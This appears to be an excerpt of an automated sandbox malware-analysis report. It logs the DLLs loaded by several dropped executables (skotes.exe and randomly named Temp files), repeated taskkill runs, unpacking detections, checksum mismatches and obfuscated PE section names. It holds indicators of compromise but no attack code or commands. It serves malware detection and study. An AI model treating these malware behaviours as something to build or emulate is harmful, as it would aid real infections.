Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1916928 > 1048576

Source: file.exe

Static PE information: Raw size of crtbbopa is bigger than: 0x100000 < 0x1a2400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;crtbbopa:EW;lzmvaube:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Unpacked PE file: 7.2.e5323e2eed.exe.300000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yeceswnp:EW;mwuundvq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yeceswnp:EW;mwuundvq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Unpacked PE file: 9.2.8ab7de79e4.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;efutjbgc:EW;idmyvlru:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;efutjbgc:EW;idmyvlru:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Unpacked PE file: 10.2.51d383286f.exe.bb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wlfzarvz:EW;jvbpoham:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wlfzarvz:EW;jvbpoham:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Unpacked PE file: 29.2.8ab7de79e4.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;efutjbgc:EW;idmyvlru:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;efutjbgc:EW;idmyvlru:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x42fd65 should be: 0x433767
Source: 8ab7de79e4.exe.6.dr	Static PE information: real checksum: 0x1c4234 should be: 0x1bec32
Source: e5323e2eed.exe.6.dr	Static PE information: real checksum: 0x42fd65 should be: 0x433767
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1c4234 should be: 0x1bec32
Source: file.exe	Static PE information: real checksum: 0x1d7cc0 should be: 0x1d91cf
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d7cc0 should be: 0x1d91cf
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1c8cb2 should be: 0x1d2753
Source: 51d383286f.exe.6.dr	Static PE information: real checksum: 0x1c8cb2 should be: 0x1d2753
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2b3640 should be: 0x2a7319
Source: e96c94d1af.exe.6.dr	Static PE information: real checksum: 0x2b3640 should be: 0x2a7319

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: crtbbopa
Source: file.exe	Static PE information: section name: lzmvaube
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: crtbbopa
Source: skotes.exe.0.dr	Static PE information: section name: lzmvaube
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: fbblxjme
Source: random[2].exe.6.dr	Static PE information: section name: xjruxrdz
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: yeceswnp
Source: random[1].exe.6.dr	Static PE information: section name: mwuundvq
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: e96c94d1af.exe.6.dr	Static PE information: section name:
Source: e96c94d1af.exe.6.dr	Static PE information: section name: .idata
Source: e96c94d1af.exe.6.dr	Static PE information: section name: fbblxjme
Source: e96c94d1af.exe.6.dr	Static PE information: section name: xjruxrdz
Source: e96c94d1af.exe.6.dr	Static PE information: section name: .taggant
Source: e5323e2eed.exe.6.dr	Static PE information: section name:
Source: e5323e2eed.exe.6.dr	Static PE information: section name: .rsrc
Source: e5323e2eed.exe.6.dr	Static PE information: section name: .idata
Source: e5323e2eed.exe.6.dr	Static PE information: section name:
Source: e5323e2eed.exe.6.dr	Static PE information: section name: yeceswnp
Source: e5323e2eed.exe.6.dr	Static PE information: section name: mwuundvq
Source: e5323e2eed.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: wlfzarvz
Source: random[1].exe0.6.dr	Static PE information: section name: jvbpoham
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 51d383286f.exe.6.dr	Static PE information: section name:
